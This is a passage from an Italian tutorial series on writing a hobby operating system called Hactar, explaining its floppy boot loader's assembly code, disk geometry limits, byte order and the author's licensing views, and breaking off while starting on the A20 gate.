(512 bytes), | | Hactar puo` funzionare su dischi con settori di dimensioni maggiori, | | anche se non puo` farlo su quelli di dimensioni minori (non c'entra il | | bootstrap loader). Attualmente, comunque, pressoche` TUTTI i dischi, FD | | o HD che siano, hanno settori di 512 bytes. Hactar e` inoltre immune dai | | cambiamenti nella geometria fisica del drive, perche` quando su un disco | | si memorizza una serie di dati, si usano tutti i settori contigui di una | | stessa traccia, prima di passare alla testina successiva. Quando tutti i | | settori di tutte le testine (di uno stesso cilindro) sono esauriti, si | | passa infine alla traccia (o cilindro) successiva. Per dettagli sulla | | geometria dei floppy da 1.44 Mb vi rimando al capitolo 1. Ora, esaminate | | la funzione per leggere dei settori dal disco (Ralf Brown files): | | | | --------B-1302------------------------------- | | INT 13 - DISK - READ SECTOR(S) INTO MEMORY | | AH = 02h | | AL = number of sectors to read (must be nonzero) | | CH = low eight bits of cylinder number | | CL = sector number 1-63 (bits 0-5) | | high two bits of cylinder (bits 6-7, hard disk only) | | DH = head number | | DL = drive number (bit 7 set for hard disk) | | ES:BX -> data buffer | | Return: CF set on error | | if AH = 11h (corrected ECC error), AL = burst length | | CF clear if successful | | AH = status (see #00234) | | AL = number of sectors transferred | | | | in particolare, fate caso al valore del registro CL (CL e` di 8 bit): | | i 6 bits meno significativi (bits da 0 a 5) sono quelli che contengono | | il numero di settore da cui iniziare a leggere. Come sapete, 6 bits | | permettono di accedere a valori da 0 a 63, quindi nel complesso si | | potrebbe accedere a un totale di 64 settori, SENZA mai dover cambiare | | testina o traccia di lettura (CH=numero traccia, DH=numero testina). | | In realta`, i settori accessibili sono solo 63, perche` il settore | | zero non esiste: sono l'unica entita` che viene numerata a partire da | | uno, e riferirsi al settore zero causa solo un errore. | | 63 per 512 bytes da` un totale di 32256 bytes, che vi fa capire perche` | | SIA PROPRIO QUELLA la lunghezza del file "LC", la versione binaria del | | sorgente. Per riprova, avete l'output di STREAM, che alla fine recita | | "total sectors written: 63". | | | | Ma perche` sottostare a questa limitazione dei 63 settori, visto che | | basta passare di testina in testina e poi di traccia in traccia, per | | caricare tutto il resto del disco? | | | | Perche` e` falsa quest'ultima assunzione: ricordatevi che noi stiamo | | usando la vecchia legacy ISA interface. Il caricamento dei primi 63 | | settori dovrebbe essere l'unico compito svolto con questa interfaccia, | | onde evitare qualsiasi problema con i dischi piu` grandi di 8.4 Gb. | | Ci penseranno le funzioni del kernel ad accedere a tali dischi. | | | | Potremmo allora caricare piu` di una traccia (composta al massimo da | | 63 settori)? In teoria si, in pratica preferisco non farlo: attualmente | | i settori si sono tenuti sotto ai 63, ma niente impedisce che in futuro | | la geometria fisica dei grossi dischi non RICHIEDA il superamento di | | questo limite. Cosa succede, allora? Succede che non potremmo piu` | | caricare il kernel, superato il 63esimo settore. Anche se sappiamo che | | il disco ha, che so, 4096 settori per traccia, dopo il 63esimo la ISA | | non ci fa piu` leggere, e passare alla prossima testina significherebbe | | spostarsi ben 4096 settori piu` avanti. | | | | Altra caratteristica: il bootstrap loader di Hactar carica il kernel in | | memoria UN SETTORE PER VOLTA. Anche per questo c'e` il suo motivo: | | molti dischi possono continuare a leggere e scrivere attraversando la | | superficie del disco di traccia in traccia (i crosstrackers); ma molti | | altri no. Per evitare qualsiasi problema nel boot, non chiediamo al BIOS | | di leggere, con una sola chiamata, tutti e 63 i settori: ne leggiamo uno | | per volta e poi aumentiamo il valore di CL ad ogni nuova chiamata, | | eventualmente cambiando MANUALMENTE testina e traccia. | | Durante il boot (una frazione di secondo), infatti, potete vedere una | | fila di puntini che "corrono" sull'ultima riga dello schermo: ogni | | puntino rappresenta un settore letto in memoria dal bootstrap loader. | | | | Veniamo ai dettagli del bootstrap loader. | | All'inizio del suo segmentino di codice c'e` questa roba qui: | | | | ADDRESS7C00: | | jmp @@sVPB ; jmp to absolute offset 104 over VPB | | BID dd 00h ; absolute offset: 02, size 4 bytes | | NTK dd 50h ; absolute offset: 06, size 4 bytes | | NHD dd 02h ; absolute offset: 10, size 4 bytes | | SPT dd 12h ; absolute offset: 14, size 4 bytes | | BPS db 09h ; absolute offset: 18, size 1 byte | | STL db 00h ; absolute offset: 19, size 1 byte | | vtoc dd 32256 ; absolute offset: 20, size 4 bytes | | reserved1 dd 00000000h ; absolute offset: 24, size 4 bytes | | cksum dd 'TEST' ; absolute offset: 28, size 4 bytes | | sgntr dd 'VPBX' ; absolute offset: 32, size 4 bytes | | reserved2 dd 00000000h ; absolute offset: 36, size 4 bytes | | vlabel db 'Hactar' ; absolute offset: 40, size 64 bytes | | db ' System Disk' ; . | | db 46 dup (32) ; volume label padder | | @@sVPB: cli ; * IRQ off (stack not ready) | | | | si tratta di un breve salto incondizionato (jmp @@sVPB) che passa ad | | eseguire la prima, vera istruzione, del bootstrap loader (cli), per la | | quale vi rimando al primo capitolo. Che cosa viene saltato, in quanto | | non si tratta di istruzioni eseguibili? Si tratta di dati: e` una | | tabella chiamata VPB (Volume Parameters Block). In essa ci sono delle | | informazioni di *vitale* importanza per la gestione del boot e | | dell'accesso al disco in genere. Il VPB riflette la geometria fisica | | del disco (BID, Bios ID, NTK, Number of TracKs...) e la funzione di | | ognuno dei campi e` spiegata tra i commenti introduttivi del sorgente. | | Anche se altri S.O. usano la sigla VPB, ricordatevi che Hactar usa un | | VPB "proprietario", non compatibile con gli altri: e` necessario per | | non avere problemi con la dimensione dei campi (quasi tutti a 32 bit, | | e per cui molto lungimiranti). Ora vediamo la fase di lettura: | | | | @@read: mov cx, di ; ¿ CL = current sector | | mov bx, bp ; ³ BX = current track | | mov ch, bl ; ³ CH = track number | | mov ax, 0201h ; ³ read 1 sector per call (AL = 01) | | xor bx, bx ; ³ offset zero of destination segment | | int 13h ; Ù LEGACY ISA DRIVE SERVICES | | jnc @@done ; ¿ check error status throught carry | | cmp ah, 11h ; ³ error code: corrected ECC/CRC | | je @@done ; ³ (go on, that wasn't a real error) | | cmp ah, 06h ; ³ error code: disk changed | | je @@read ; ³ (ok, we realized it's changed) | | jmp @@crit ; Ù else, there's nothing left to do | | | | da notare che al ritorno dalla chiamata ad int 13h (il dispatcher dei | | servizi disco) per prima cosa viene controllato il carry, il quale in | | molti casi viene trattato dai dispatchers come un segnale, che indica | | una condizione di errore generico. Il codice d'errore vero e proprio, | | l'interfaccia ISA ce lo fornisce nel registro AH. Anche qui, bisogna | | fare attenzione a due casi particolari che NON sono davvero errori: il | | codice 11h ed il codice 06h. L'11h significa che il drive ha trovato un | | blocco del disco (uno o piu` settori) per il quale c'e` stato un errore | | di trasferimento dei dati. Alcuni drives piu` evoluti possono correggere | | tali errori, che spesso sono transitori, automaticamente, in genere | | ripetendo la lettura/scrittura. Quindi, se riceviamo il codice 11h non | | significa che l'operazione di lettura e` stata rovinata, ma il BIOS ci | | informa che ha dovuto correggere un errore. Poi c'e` il codice 06h, il | | quale ha uno scopo puramente informativo: avverte che il drive ha la sua | | "disk change line" attivata. Significa, in pratica, che un dischetto, o | | un qualsiasi media rimovibile, e` stato espulso e poi reinserito nel | | drive. In genere, vuol dire che e` stato cambiato il disco. Diversamente | | dalle funzioni di lettura/scrittura (piu` evolute) del kernel, il | | bootstrap loader non si cura del segnale di cambio disco: si limita a | | prenderne atto e a ripetere la lettura; la lettura viene ripetuta | | perche` il BIOS giustamente non si assume la responsabilita` di leggere | | o scrivere senza avere una conferma, dal S.O., che il disco e` quello | | giusto; il segnale di cambio disco viene ignorato perche` durante il | | boot e` pressoche` SEMPRE attivo, alla lettura del primo settore, dato | | che e` la prima lettura effettuata dopo che il disco e` stato inserito | | nel drive. Potreste essere intelligenti e notare che in realta` la prima | | lettura e` stata quella fatta dal BIOS stesso per caricare in memoria i | | 512 bytes del bootstrap loader. Vero: pero`, quella in particolare, e` | | un'operazione interna, e non modifica il segnale di cambio disco. | | Se pero` il codice non e` ne` 11h, ne` 06h, il problema e` serio, e | | l'errore c'e` davvero. In tal caso, be', il bootstrap puo` solo reagire | | chiedendo di premere un tasto per riavviare (intrinsecamente dopo aver | | cambiato il disco, o dopo averlo tolto per far avviare il disco rigido). | | Se vi capita, buttate il dischetto nel cestino e tenetelo piu` lontano | | dal cellulare, la prossima volta. Anzi, buttate anche il cellulare... | | | | La lettura avviene progressivamente, 512 bytes per volta, spostando il | | segmento di destinazione dei dati. Per la ISA, questo segmento e` dato | | dal registro di segmento chiamato "ES". I registri di segmento (CS, DS, | | ES, FS, GS, SS) si usano insieme a quelli degli offset (BX, BP, SI, DI) | | per accedere alla memoria in modalita` reale (vedi capitolo 2). | | Per la ISA, l'indirizzo di destinazione dove piazzare i dati letti dal | | disco e` dato dalla combinazione ES:BX, dove ES contiene il segmento di | | destinazione e BX l'offset. Come saprete dal capitolo 2, ogni segmento | | e` allineato sui bordi di "gruppi" di bytes di 16 byte ciascuno, e puo` | | estendersi fino a 64 Kb. Il kernel deve essere caricato a partire da | | una locazione di memoria fissa, la 0800h:0000h, oppure 0000:8000h, che | | dista 32Kb dall'inizio della memoria, e che, mappa della memoria alla | | mano (capitolo 1), rappresenta la prima locazione libera. | | Per cui, il registro ES viene inizialmente assegnato a: | | | | mov ax, @discst/16 ; ¿ system code segment (@discst/16) | | mov es, ax ; Ù ES = 7E0h, 31.5K from address zero | | | | e poi viene fatto avanzare, dopo ogni lettura di un settore, di 512/16 | | unita`, in quanto 16 bytes e` appunto l'allineamento dei settori. Questo | | compito di "avanzamento" viene svolto dalle seguenti istruzioni: | | | | sub BPS, 4 ; * make BPS in paragraphs, not bytes | | ...(omissis)... | | @@smcy: mov cl, BPS ; ¿ set bitwise shifter | | mov ax, 1 ; ³ we've read 1 sector | | shl ax, cl ; ³ AX = n. of data paragraphs read | | mov bx, es ; ³ BX = above destination segment | | add bx, ax ; ³ BX = next destination segment | | mov es, bx ; Ù ES = new destination segment | | jmp @@read ;  restart the loop to next sector | | | | (BPS, che per dischi con 512 bytes per settore vale 9 (2^9 = 512) viene | | diminuito di 4 unita`, in quanto 2^4 = 16. "L'animazione" del registro | | ES avviene tramite "shifting" dei bits. Si, mi piacerebbe spiegare anche | | cosa significa questo: in sintesi, si tratta di un modo per dividere e | | moltiplicare per potenze di due piu` velocemente e in modo piu` compatto | | che usando operazioni aritmetiche. E` un po' "come togliere o aggiungere | | degli zeri" in decimale per moltiplicare e dividere per potenze di 10. | | In sintesi, per ogni bit di spostamento a sinistra, SHL, di un valore | | binario E intero, si ha un fattore 2 di moltiplicazione, mentre per ogni | | bit di spostamento a destra, SHR o SAR, si ha un fattore 2 di divisione. | | Ma per i dettagli vi rimando ancora a un manuale di assembly: non vorrei | | sembrare superficiale, perche` non e` nelle mie intenzioni lasciare | | qualcosa di non spiegato, ma nel caso dovessi spiegare tutto su ogni | | singola istruzione la cosa diventerebbe molto, molto lunga, e inoltre | | annegherebbe il resto. Il sorgente e` MOLTO commentato, comunque.) | | | | Anche in quel caso la quantita` non e` fissa, anche se attualmente sara` | | in effetti di 512/16. Dipende dalla lunghezza di un settore, data dalla | | variabile BPS (Bytes per Sector). Perche` 7E0h e non PROPRIO 800h? Be', | | per prima cosa dovete sapere che il codice del bootstrap di Hactar non | | superera` MAI i 512 bytes, anche se forse i settori in futuro saranno | | piu` grandi. 512 bytes bastano e avanzano per quel che deve fare. | | In secondo luogo, tenete presente che il segmento 7E0h dista 512 bytes | | dal segmento 800h dove deve essere caricato IL RESTO del nucleo del | | sistema (intendendo per "nucleo" = bootstrap + kernel). Ma se bootstrap | | loader e kernel, sul floppy da 1.44 Mb e su tutti dischi con 512 bytes | | per settore, sono posti in settori fisicamente diversi, a Hactar questo | | non importa un gran che: il nucleo e` visto come un "monoblocco" di roba | | senza confini netti; insomma, i primi 512 bytes, al di la` del fatto che | | riempiano o no tutto il primo settore del disco, contengono il codice di | | avviamento, quello che forma il bootstrap loader. Subito dopo di essi, | | viene registrato il kernel. Quindi, leggendo a partire da 7E0h, a 512 | | bytes dal segmento 800h dove vogliamo che il kernel si trovi, facendogli | | riversare il contenuto del disco cosi com'e`, tutto d'un colpo, abbiamo | | automaticamente piazzato il kernel nel segmento 800h, e al 7E0h avremo, | | per effetto collaterale, un'inutile copia del bootstrap loader. Vedremo | | poi che questo "buco di memoria" di 512 bytes non rimarra` inutilizzato. | | Ma perche`? Non si potrebbe leggere direttamente dal SECONDO settore in | | poi, visto che al secondo settore comincia il kernel? Be', tutti i S.O. | | di cui ho esaminato il bootstrap fanno qualcosa del genere. Ma Hactar, | | come ho rimarcato piu` volte, non vuole legarsi all'assunto che un solo | | settore prenda 512 bytes; se infatti leggessimo dal secondo settore di | | un disco che annovera ben 1024 bytes per settore, ci troveremmo senza | | volerlo in una di due situazioni problematiche: | | | | a) lasciando le cose come stanno, in memoria si caricherebbe solo PARTE | | del kernel, perche` se il kernel e` "attaccato" al bootstrap loader, | | ed il segmento 2 comincia 512 bytes dopo l'inizio del kernel, si | | salterebbero a pie' pari ("a testin' pari") i suoi primi 512 bytes: | | osservate lo schemino, ASCIIzzato e imbruttito perche` l'EDIT del DOS | | e` ormai in disuso. Nel kernel ce n'e` uno che e` ancora piu` potente | | come generatore di mal di testa... quello ve lo spieghero` in futuro. | | | | settore 1 settore 2 settore 3... | | | | | | | ^-----------|-----------^-----------------------^---- Ä Ä | | | | | | | | | 512 bytes |-----------|--- kernel ------------|--- -- - | | | | | | | | ^-----------|-----------^-----------------------^ÄÄÄÄ Ä Ä | | | | | | | inizio fine inizieremmo a leggere da qui, | | bootstrap bootstrap saltando quel che c'e` fra questo | | loader loader punto e la fine del bootstrap loader | | | | b) se decidessimo di sorvolare questo problema mettendo 512 bytes di | | riempimento tra il bootstrap loader e il kernel, oppure se volessimo | | registrare incondizionatamente il kernel a partire dal secondo | | settore del disco, per prima cosa sprecheremmo 512 bytes di memoria, | | perche` 1024 - 512 = 512, e questa, data la dimensione massima del | | nucleo (31.5K), potrebbe essere una perdita significativa, e avremmo | | anche un altro problema, per come verra` impostato poi il kernel: | | infatti, le funzioni del kernel che si occupano dell'I-O su disco | | operano in uno schema FLAT a 64 bit, che non "vede" i settori fisici | | ma soltanto i bytes che li compongono. | | | | Cos'e` lo schema FLAT? L'avete sentito dire tante volte in questi miei | | articoli. E` molto semplice da capire: avete presente il modo in cui in | | modalita` reale si accede alla memoria, con indirizzi che vengono divisi | | in segmento ed offset? Ecco: quello NON e` uno schema FLAT. Si tratta di | | un'organizzazione della memoria chiamata "segmentazione", appunto. | | Lo schema FLAT e` tutto l'opposto: non c'e` nessun segmento e nessun | | offset, ma molto piu` semplicemente si numerano tutti i bytes di memoria | | a partire da zero, fino all'ultimo che sia disponibile e indirizzabile. | | Hactar usa due distinti schemi FLAT per indirizzare la memoria: per la | | memoria RAM usa 32 bit, che indirizzano fino a 4 Gigabyte; per quella di | | massa, ovvero floppy, hard disk, CD-ROM... usa 64 bit, che indirizzano, | | in teoria, ben 16 milioni di Terabytes. MA attenti: solo in teoria, | | perche` l'aritmetica binaria che viene usata nelle funzioni di I-O di | | fatto limita lo spazio indirizzabile a 2 soli Terabytes, ovvero a 2048 | | Gigabytes. Non mi aspetto che questo basti in futuro, ma al momento mi | | fermo a questo range di indirizzi, corrispondente a 41 bit. | | Che cifra strana, 41 bit... be', per il futuro non avremo problemi, | | perche` in ogni caso il minimo ammontare di registri per contenere un | | valore di 41 bits e` pari a due registri di 32 bit, ovvero a 64 bit | | (tutte le funzioni del kernel usano esclusivamente registri a 32 bit). | | Quindi, nell'I-O useremo comunque valori di 64 bit, solo che dovremo | | stare attenti a non accedere oltre al 41esimo. Oh, comunque, al momento, | | se avete un disco piu` grande di 2 Tb, regalatemelo e per premio vi | | riscrivo le funzioni di I-O in modo che lo possano gestire; ma fate | | presto: l'offerta e` valida fino al 31 dicembre del 2002. ;) | | Si tratta di 41 bit perche` alla fine, quando il kernel deve effettuare | | una lettura o una scrittura, tali indirizzi FLAT devono essere comunque | | convertiti in coordinate CHS di settore, oppure, a seconda del tipo di | | drive e di BIOS, in coordinate LBA. A ogni modo, 41 bit discendono dal | | fatto che se i settori rimangono di quel minimo di 512 bytes ciascuno, | | e per fare i calcoli piu` semplicemente e rapidamente usiamo registri | | di 32 bit "naturali" ai nostri processori attuali, be', allora alla fine | | abbiamo 9 bit, dati da 512 bytes (2^9 byte), piu` i 32 bit del registro, | | e quindi 32 + 9 = 41. L'ammontare di memoria indirizzabile, di 2 Tb, e` | | comunque piuttosto ampio e vedremo che Hactar, nel suo file system, | | marcera` proprio sulla piu` bella caratteristica dei dischi odierni: | | quella di essere immensi. | | | | Chiudendo la digressione e tornando al problema della situazione b, | | e` chiaro che se posso gestire il disco linearmente, senza interruzioni | | nella continuita` della sua memoria, mi risulta piu` scomodo usare la | | vecchia (prima della rivoluzionaria funzione "VolumeIO" del kernel di | | Hactar, della quale vado MOLTO, MOLTO fiero) suddivisione in settori. | | Infatti, per esempio, c'e` una funzione che formatta i dischi: si chiama | | "FormatVolume" e, per memorizzare il nucleo del sistema (boot + kernel), | | utilizza proprio "VolumeIO", che scrive di byte in byte e non di settore | | in settore. E` chiaro che non posso chiedere a quella funzione di | | scrivere il bootstrap loader sul primo settore, e poi partire dal | | secondo per scrivere il kernel: scrivo 32256 bytes in una sola chiamata, | | rendendo di fatto il nucleo del sistema un singolo blocco di 31.5 Kb. | | | | Ora, quanti settori deve caricare il bootstrap loader? | | Uhmm... deve caricare 31.5 Kb, quindi la domanda e`: sul disco a N bytes | | per settore, a quanti settori corrispondono 31.5 Kb di roba? Semplice: a | | 32256 diviso per N. Siccome N e` forzosamente una potenza di due (dato | | che il parametro BPS del VPB e` definito come il logaritmo in base due | | del numero di bytes per settore) posso sempre ricorrere a uno shifting. | | | | mov ax,word ptr vtoc; ¿ | | mov cl, BPS ; ³ calculate number of sectors | | shr ax, cl ; ³ to be loaded as vtoc / BPS | | inc al ; ³...+1 to avoid rounding problems... | | mov STL, al ; Ù | | | | Notare che in AX non viene piazzato 32256, ma il contenuto di una | | variabile che dice quanto e` lungo il nucleo. Anche se non si potranno | | eccedere i fatidici 63 settori, non e` detto che non si riesca a farlo | | piu` piccolo. Sinceramente ne dubito, ma e` meglio essere previdenti... | | Al risultato viene infine aggiunto un settore: non e` necessario e credo | | che lo sara` molto raramente, pero` serve nel caso che la dimensione del | | nucleo di sistema, quei 32256 bytes, non sia un multiplo dei "bytes per | | sector", causando la registrazione di un settore finale che contiene | | parte del nucleo E altre cose. Siccome non ci interessa rispettare il | | limite per quanto riguarda la memoria, che e` del tutto vuota fino alla | | fine della convenzionale, leggere un settore in piu` non e` dannoso, e | | possiamo evitare di fare dei conti piu` precisi (allungando il codice) | | per sapere se l'ultimo settore del nucleo sia interamente registrato. | | | | Per curiosita`, nel file system di Hactar, immediatamente dopo il nucleo | | del sistema viene piazzata la VTOC, "Volume Table Of Contents". Possiamo | | dire che la VTOC di Hactar svolge la funzione di "root directory", ma i | | paralleli si fermano qui. Il file system di Hactar e` molto peculiare, e | | verra` esaminato in futuro; fra l'altro, e` ancora in fase di studio... | | | | Bene: il kernel e` stato interamente caricato, e possiamo passargli il | | controllo. Pero`, gia` che ci siamo, prima facciamo qualche "backup" di | | certe aree di memoria, e qualche controllo sull'integrita` del kernel | | stesso. Le linee che seguono la label "@@stop" si occupano di calcolare | | una semplice checksum delle doublewords che compongono il kernel, molto | | semplicemente sommando tutti i valori: il risultato viene in seguito | | confrontato con il valore di controllo preso dal VPB (variabile cksum). | | Ma attualmente il kernel e` in fase di sviluppo, quindi la sua checksum | | e` presunta cambiare ogni volta che si avvia il sistema dopo aver fatto | | dei cambiamenti: invece di perder tempo a rifare la checksum, c'e` per | | questo un segnale che informa il kernel di lasciar perdere l'esito del | | confronto e di far partire il kernel in ogni caso. Quel segnale e` dato | | da una "firma ASCII" a 32 bit, contenente la parola TEST. Se "cksum" | | viene impostata, nel VPB, al valore corrispondente a 'TEST', non si ha | | nessun controllo sulla checksum effettiva. | | | | Una "firma ASCII" di 32 bit e` un valore a 32 bit il cui contenuto, se | | si considerano i bytes che lo formano come simboli in ASCII, compone | | per l'appunto una firma, una parola, insomma qualcosa che ha un senso. | | Ad esempio, le funzioni di mappatura della memoria dei BIOS piu` moderni | | usano la firma 'SMAP' (System memory MAP) per assicurarsi che il | | programma chiamante sia davvero intenzionato a chiamare quelle funzioni, | | che insomma non lo stia facendo per errore, o che magari intendesse | | chiamare un'altra funzione. Gia`, perche` i vari dispatchers dei vari | | BIOS, col tempo, hanno "accavallato" i codici per chiamare le funzioni | | e in certi casi lo stesso codice operativo (di solito e` il numero che | | viene passato in AX o in AH) dello stesso dispatcher (della stessa INT) | | si e` trovato ad assumere significati diversi; e per mantenere il piu` | | possibile la compatibilita` col passato, cosi importante per il successo | | duraturo dello standard dei PC (e anche secondo me), ecco che certe | | nuove funzioni, come quella, cercano di differenziarsi come possono. | | Ho fatto questa digressione sulle firme ASCII a 32 bit perche` Hactar | | ne usa gia` molte, anche in altre circostanze: sono pratiche, compatte, | | univoche (non generano equivoci) ed eleganti. | | | | Dopo il controllo della checksum, il bootstrap loader procede alla label | | "@@strt", che effettua un ultimo backup di alcune aree di memoria che | | risulteranno utili in futuro: la real-mode interrupt vectors table e | | parte della BDA. Ricordate cosa sono, vero? (Capitolo 2) In totale, si | | tratta delle locazioni da zero a 41Ah, che verranno ripristinate cosi | | com'erano al momento del boot, dalla funzione che effettua un "quick | | reset" del sistema. Il "quick reset", reset limitato al solo software, | | si ottiene ripristinando tutti i vettori di interrupt per la modalita` | | reale (Hactar ripristina anche le locazioni fino alla 41Ah, per maggior | | sicurezza nei confronti di programmi che, per errore o volutamente, | | potrebbero averle cambiate), e poi ricaricando, come fa il BIOS, il | | bootstrap loader alla locazione 0000:7C00h, per poi saltare ad eseguire | | il bootstrap loader, che quindi fara` ripartire l'intero sistema. | | Si chiama "system reset" sul pannello di controllo di Hactar, ed e` | | vantaggioso in molti casi, perche` molto veloce: provare per credere. | | L'unico svantaggio e` che non ripristina lo stato delle periferiche: se | | ad esempio un programma ha configurato la COM1 in modo da ricevere e | | trasmettere a 38400 bauds, 8 bit dati, no parity eccetera... solo un | | reset completo dal BIOS (warm reset, cold reset) potra` ripristinare la | | configurazione iniziale di quella porta e delle varie altre periferiche. | | Immediatamente dopo quest'ultimo backup, si trova l'istruzione che passa | | il controllo del computer alla prima parte del kernel. | | | | db 0EAh ; ¿ direct opcode: jump far, full ptr. | | dw @mm ; ³ destination offset (8000h) | | dw 0 ; Ù destination segment (0000h) | | | | Se vi sembra piu` strana delle altre istruzioni, e` perche` viene | | scritta direttamente in linguaggio macchina, usando un codice operativo | | proprio alla CPU invece che un'istruzione mnemonica. L'istruzione e` | | composta da tre parti: il codice operativo EAh, che significa "direct | | jump to full pointer given", "salto diretto a una locazione di cui si | | conosce l'intero indirizzo", e poi ci sono le due parti dell'indirizzo, | | il segmento e l'offset, che appaiono in ordine inverso perche` quello | | e` il modo in cui le CPU della serie Intel conservano tutti i valori in | | memoria: l'ordine dei bytes (e quindi anche quello delle words, delle | | doublewords, eccetera) e` SEMPRE invertito. Se abbiamo un numero di 32 | | bit che leggiamo sul video come 12345678h, bisogna tener presente che | | la CPU, una volta depositato quel numero in memoria, disporra` i bytes | | che lo formano nell'ordine 78563412h. Puo` sembrare una complicazione | | inutile, e alcuni (vedremo poi chi) l'hanno in effetti pensata cosi, ma | | in realta` ha un vantaggio. Se io ho l'indirizzo che punta alla cella di | | memoria che contiene quel valore di 32 bit, lo stesso indirizzo lo posso | | usare per accedere anche ai suoi 16 bit meno significativi, e anche ai | | suoi 8 bit meno significativi. Infatti, se ordinassi in memoria i bytes | | cosi come sono, nel loro ordine "visibile", otterrei: | | | | INDIRIZZO X INDIRIZZO X+1 INDIRIZZO X+2 INDIRIZZO X+3 | | 12 34 56 78 | | | | quindi se, come spesso accade per varie ragioni, mi trovo a considerare | | solo il primo byte, o solo la prima word, devo cambiare indirizzo, dato | | che il primo byte si trova a X+3, e la prima word ad X+2. Questo mi | | costringe a svolgere un'operazione in piu`, o al limite ad usare il | | generatore di indirizzi della CPU per svolgerla, scrivendo qualcosa come | | "move.b D0, (A0 + 3)" (dove "A0", un registro d'indirizzamento delle CPU | | Motorola, conterrebbe il valore di X). | | | | Il modo in cui i processori Intel memorizzano i numeri piu` grandi di un | | byte si chiama "small endian", e il suo opposto si chiama "big endian", | | ed e` usato da altri tipi di processore, fra cui i Motorola MC68xxx e la | | serie dei PowerPC. Be', vi pareva strano che i due maggiori produttori | | di processori per home PC si mettessero d'accordo ALMENO su come mettere | | in memoria semplici valori, eh? Infatti, con SOLO due sistemi possibili, | | uno ha scelto il primo e l'altro ha scelto il secondo. Chi ha bisogno di | | standards, in fin dei conti? E` una domanda che mi rimase impressa, una | | volta: la lessi come commento, fatto da un uomo d'affari, al sito della | | V.E.S.A (Video Electronics Standards Association). Diceva proprio cosi: | | "Who needs those standards anyway?". Non chiedetemi chi fosse il tizio | | che la fece, perche` anche volendo non me lo ricordo, pero` la domanda | | mi fece capire che se le cose funzionavano nel modo in cui funzionavano, | | il solo motivo era la stupidita`. Tutti hanno bisogno di standards: voi | | provate a chiederlo al poveretto che sbatte` una mano sul vetro della | | mia Opel Corsa per avvertirmi che gli stavo venendo addosso. | | Sapete perche`? Perche` avevo cambiato la macchina da poco, e abituato | | alla Ford Fiesta avente la retromarcia in basso a destra, cioe` dove Dio | | comanda, con il cambio della Opel ero partito in retromarcia credendo di | | partire in prima. Vedete... gli standards possono salvarvi la vita. | | | | Ultime considerazioni sul bootstrap loader: se volete, potete trovare | | informazioni su come funziona un MBR (un Master Boot Record, che in | | genere e` il bootstrap loader dell'hard disk) all'indirizzo: | | | | http://ata-atapi.com/hiwmbr.htm | | | | l'MBR ha il compito di gestire il boot su dischi partizionati. | | Come saprete dal suddetto sito, le partizioni sono registrate da anni in | | un modo poco lungimirante, che ha dato problemi nel momento in cui gli | | hard disk hanno superato i 528 Mb. Lo schema L-CHS a cui si accenna su | | quella pagina e` quello che usa vari pezzettini dei registri che sono | | usati per comunicare al dispatcher dell'interrupt 13h le coordinate CHS | | del settore da leggere/scrivere in un modo che "allarga" il range di | | cilindri indirizzabili da quel dispatcher (normalmente limitati al solo | | registro CL) fino a 12 bits, pari a un massimo di 4096 cilindri. | | Personalmente non trovo molto eleganti quei rappezzi dell'ultimo minuto, | | e piu` in generale non digerisco bene tutto lo schema delle partizioni | | cosi com'e` concepito, ma integrando le informazioni di questo capitolo | | con quelle fornite da quella pagina web, siete teoricamente in grado di | | progettare un sistema che supporti le partizioni. Lascio a voi la scelta | | sul da farsi, per il VOSTRO S.O. | | | | Sono stato un po' lungo sul bootstrap loader: ma era necessario. | | E` una parte importante, ed implica un bel po' di cose da sapere e da | | progettare. Se volete progettare il vostro sistema, ricordatevi di | | pianificare tutto cio` che e` possibile, prima di cominciare a scrivere | | sul serio. Fate delle prove, usate il sorgente di Hactar per ispirarvi | | se volete; ma a patto che non ri-distribuiate lavori che derivano | | direttamente da quel sorgente: Hactar non e` sotto GPL, e` distribuibile | | alle condizioni della WTOF Public License, che tra le altre cose lascia | | all'autore il diritto esclusivo di pubblicare nuove versioni. | | Perche`? Oh, non voglio assolutamente sembrare chiuso al pubblico, | | in nessun modo: i miei sorgenti SONO pubblici, solo che NON VOGLIO che | | altri possano cambiarli e poi ridistribuirli. Questo si riallaccia alla | | questione degli standards: se si permette a tutti di produrre nuove e | | diverse versioni di una stessa cosa, alla fine le varie versioni spesso | | non riescono a essere compatibili. In pratica, che cosa significa? Che | | se volete importare nel vostro S.O. anche interi pezzi del mio sorgente, | | potete farlo, entro certi limiti (insomma, non copiate tutto e basta, | | in quanto in quel caso sarebbe da considerarsi un prodotto direttamente | | derivato); QUELLO CHE NON POTETE FARE e` realizzare una nuova versione | | di Hactar, magari ingrandita e diversificata quanto vi pare, ma che | | funzionalmente ed apparentemente si presenta come lo stesso prodotto, | | con lo stesso nome e le stesse caratteristiche distintive. In altre | | parole, se copiate, siete tenuti a distinguere chiaramente il vostro | | prodotto dal mio. Altrimenti, per le convenzioni sul diritto d'autore | | si tratterebbe di plagio, ma piu` che altro, dal mio personale punto di | | vista, potrebbero saltar fuori versioni parzialmente intercambiabili | | dello stesso S.O., ma non completamente compatibili. Lo "standard" del | | sistema, insomma, ne risulterebbe rovinato: questo, e SOLO questo, e` | | quel che temo e, forte dei miei diritti, vieto. Tengo a ribadire che | | adoro la filosofia del "freeforall", e che non ho intenzione di ottenere | | soldi dai miei progetti personali; soltanto, ho questa piccola riserva | | sul concetto di open-source. Riconosco che i suoi effetti sono riducenti | | per l'evoluzione del sorgente stesso (anche se ovviamente POSSO dare a | | determinate persone l'autorizzazione a pubblicare nuove versioni) ma in | | generale continuo a pensarla cosi, e non posso farci niente. | | | | Bene, resta il tempo e lo spazio di accennare un po' al memory manager, | | ossia alla prima parte del kernel. Il flat memory manager, che fa anche | | da interrupts controller, risiede in un segmento contenente codice a 16 | | bit, ed occupa un totale di 2 Kb e un quarto. Ha principalmente un paio | | di compiti; pochi, ma molto importanti. | | | | Per prima cosa, deve riconfigurare la CPU in modo che riesca a vedere, | | al posto di uno spazio di memoria segmentato di solo un megabyte (nella | | cosidetta modalita` reale), una serie continua di celle di memoria, | | numerate a partire da zero, ed estendentesi fino al limite dello spazio | | d'indirizzamento a 32 bit (ovvero a 4 Gb). Nell'ambito di questo compito | | la prima cosa da fare e` abilitare le linee di indirizzamento da 20 a 31 | | del bus che fa da tramite fra il processore e la memoria RAM, e che per | | ragioni di compatibilita` con il vecchio ambiente "reale" a 16 bit, sono | | inizialmente disabilitate. L'apertura di queste linee, tecnicamente, si | | definisce l'apertura della "gate A20", e ci sono due modi di ottenerla: | | un modo valido sulla circuiteria di PS/2 e derivati (attalmente rara, ma | | non del tutto estinta), e un modo ben piu` 